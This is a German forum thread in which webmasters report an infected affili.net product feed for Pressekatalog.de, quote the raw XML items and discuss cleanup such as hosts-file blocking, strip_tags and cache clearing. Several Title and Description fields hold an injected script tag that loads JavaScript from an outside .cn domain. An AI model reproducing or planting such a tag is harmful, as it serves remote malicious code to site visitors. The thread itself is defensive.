affili.net Daten mit Virus befallen !

[Martin-F]

auf der Seite taucht der Virus auf, aber immer nur bei Artikeln
von Pressekataloge.de

http://oshops.info/angebot/115115015...tudio_pro.html

[Martin-F]

<ShopInformation> <ShopURL>http://partners.webmasterplan.com/click.asp?ref=295127&amp;site=4601&amp;type=text&a mp;tnb=0&amp;subid= </ShopURL> <ShopName>Pressekatalog.de </ShopName> <ShopID>453 </ShopID> <ProgramID>4601 </ProgramID> <Logo50> <ImageURL>http://logos.affili.net/50/453.gif </ImageURL> <Width>50 </Width> <Height>18 </Height> </Logo50> <Logo90> <ImageURL>http://logos.affili.net/90/453.gif </ImageURL> <Width>88 </Width> <Height>31 </Height> </Logo90> <Logo120> <ImageURL>http://logos.affili.net/120/453.gif </ImageURL> <Width>120 </Width> <Height>40 </Height> </Logo120> <Logo150> <ImageURL>http://logos.affili.net/150/453.gif </ImageURL> <Width>150 </Width> <Height>50 </Height> </Logo150> <Logo468> <ImageURL>http://logos.affili.net/468/453.gif </ImageURL> <Width>0 </Width> <Height>0 </Height> </Logo468> </ShopInformation> <Title>Sternsinger, Die&lt;script src=http://www.killwow1.cn/g.js&gt;&lt;/script&gt; </Title> <Rank>0 </Rank> <Description>&lt;script src=http://www.killwow1.cn/g.js&gt;&lt;/script&gt; </Description> <MerchantCategoryID>29436396 </MerchantCategoryID> <AffilinetCategoryID>22 </AffilinetCategoryID> <DisplayPrice> EUR 1.50 </DisplayPrice> <Price>1.50 </Price> <PricePrefix /> <PriceSuffix /> <Price_Old>0.00 </Price_Old> <Currency_Symbol>EUR </Currency_Symbol> <Image> <ImageURL /> <Width>0 </Width> <Height>0 </Height> </Image> <Image30> <ImageURL>http://images30.affili.net/404.gif </ImageURL> <Width>30 </Width> <Height>30 </Height> </Image30> <Image60> <ImageURL>http://images60.affili.net/404.gif </ImageURL> <Width>60 </Width> <Height>60 </Height> </Image60> <Image90> <ImageURL>http://images90.affili.net/404.gif </ImageURL> <Width>90 </Width> <Height>90 </Height> </Image90> <Image120> <ImageURL>http://images120.affili.net/404.gif </ImageURL> <Width>120 </Width> <Height>120 </Height> </Image120> <Image180> <ImageURL>http://images180.affili.net/404.gif </ImageURL> <Width>180 </Width> <Height>180 </Height> </Image180> <DeepLink1>http://partners.webmasterplan.com/click.asp?ref=295127&amp;site=4601&amp;type=text&a mp;tnb=6&amp;subid=&amp;pid=910323937 </DeepLink1> <CategoryPath>Musik und Tanz </CategoryPath> </Item> <Item> <ID>115115207 </ID> <ArticleNumber>910325081 </ArticleNumber> <ShopInformation> <ShopURL>http://partners.webmasterplan.com/click.asp?ref=295127&amp;site=4601&amp;type=text&a mp;tnb=0&amp;subid= </ShopURL> <ShopName>Pressekatalog.de </ShopName> <ShopID>453 </ShopID> <ProgramID>4601 </ProgramID> <Logo50> <ImageURL>http://logos.affili.net/50/453.gif </ImageURL> <Width>50 </Width> <Height>18 </Height> </Logo50> <Logo90> <ImageURL>http://logos.affili.net/90/453.gif </ImageURL> <Width>88 </Width> <Height>31 </Height> </Logo90> <Logo120> <ImageURL>http://logos.affili.net/120/453.gif </ImageURL> <Width>120 </Width> <Height>40 </Height> </Logo120> <Logo150> <ImageURL>http://logos.affili.net/150/453.gif </ImageURL> <Width>150 </Width> <Height>50 </Height> </Logo150> <Logo468> <ImageURL>http://logos.affili.net/468/453.gif </ImageURL> <Width>0 </Width> <Height>0 </Height> </Logo468> </ShopInformation> <Title>Global&lt;script src=http://www.killwow1.cn/g.js&gt;&lt;/script&gt; </Title> <Rank>0 </Rank> <Description_Short>Die OM - Nachrichten </Description_Short> <Description>Die OM - Nachrichten&lt;script src=http://www.killwow1.cn/g.js&gt;&lt;/script&gt; </Description> <MerchantCategoryID>29436396 </MerchantCategoryID> <AffilinetCategoryID>22 </AffilinetCategoryID> <DisplayPrice> EUR 2.00 </DisplayPrice> <Price>2.00 </Price> <PricePrefix /> <PriceSuffix /> <Price_Old>0.00 </Price_Old> <Currency_Symbol>EUR </Currency_Symbol> <Image> <ImageURL /> <Width>0 </Width> <Height>0 </Height> </Image> <Image30> <ImageURL>http://images30.affili.net/404.gif </ImageURL> <Width>30 </Width> <Height>30 </Height> </Image30> <Image60> <ImageURL>http://images60.affili.net/404.gif </ImageURL> <Width>60 </Width> <Height>60 </Height> </Image60> <Image90> <ImageURL>http://images90.affili.net/404.gif </ImageURL> <Width>90 </Width> <Height>90 </Height> </Image90> <Image120> <ImageURL>http://images120.affili.net/404.gif </ImageURL> <Width>120 </Width> <Height>120 </Height> </Image120> <Image180> <ImageURL>http://images180.affili.net/404.gif </ImageURL> <Width>180 </Width> <Height>180 </Height> </Image180> <DeepLink1>http://partners.webmasterplan.com/click.asp?ref=295127&amp;site=4601&amp;type=text&a mp;tnb=6&amp;subid=&amp;pid=910325081 </DeepLink1> <CategoryPath>Musik und Tanz </CategoryPath> </Item>

[FrankW]

Und hast du es gemeldet ???

[Martin-F]

Ja .. aber erst nachdem ich das im Cache gesehen hatte.
vorher wußte ich echt nicht was da los ist.

[FrankW]

Das ist auch gelinde gesagt sau blöd - da haben wir es wieder mit echten Experten zu tun.

Ich habe den Mist bisher nur in den Daten von 453 gefunden. Hast du dir schon die Mühe gemacht raus zu finden, was das Javascript macht ?

Frank

[Martin-F]

Hallo Frank...

als erstes habe ich der Domain mit dem Java die IP von meinem Server zugewiesen. (hosts)
Bei 100.000 Seiten im G. Index .. denke ich aber mal .. der wird sich vermehren wie ein Kaninchen :-)

Habe das nur bei diesem Shop gesehen.

Dann möchte ich mal wissen was die Class 'strip_tags' macht ?
Reagiert die auf <script> und auf GTscriptLT ebenfalls ?

Und dann wird in allen Templates das
"|truncate:" ersetzt mit "strip_tags:false|truncate:"

Bis dahin ... Martin

[FrankW]

Hallo,
die Daten sind laut affilinet wieder sauber.
Wer den Shop bewirbt sollte den cache löschen!

Man weiß ja nie, kann auch nicht schaden den Antivirus mal wieder anzuwerfen.

strip_tags: Doku

Noch mal Danke für den guten Hinweis!

Gruß
Frank

[LarsJ]

Das scheinen Ausläufer von dem Massenhack hier zu sein:

http://www.f-secure.com/weblog/archives/00001435.html
http://www.heise.de/security/Massenh...meldung/108107

Und bei Pressekatalog haben sie es wohl in die Datenbank geschafft:

http://www.google.de/search?hl=de&rl...nG=Suche&meta=

[Martin-F]

@Lars .. interessante Links !

@Frank .. der Link zur Doku ist nett

Nur steht da nicht drin ob das nur für <> oder auch für LT GT geht ... was ich noch mit einem News Eintrag testen werde.
Oder weiß´t Du es so aus der Erinnerung ?

[FrankW]

Nop, sorry.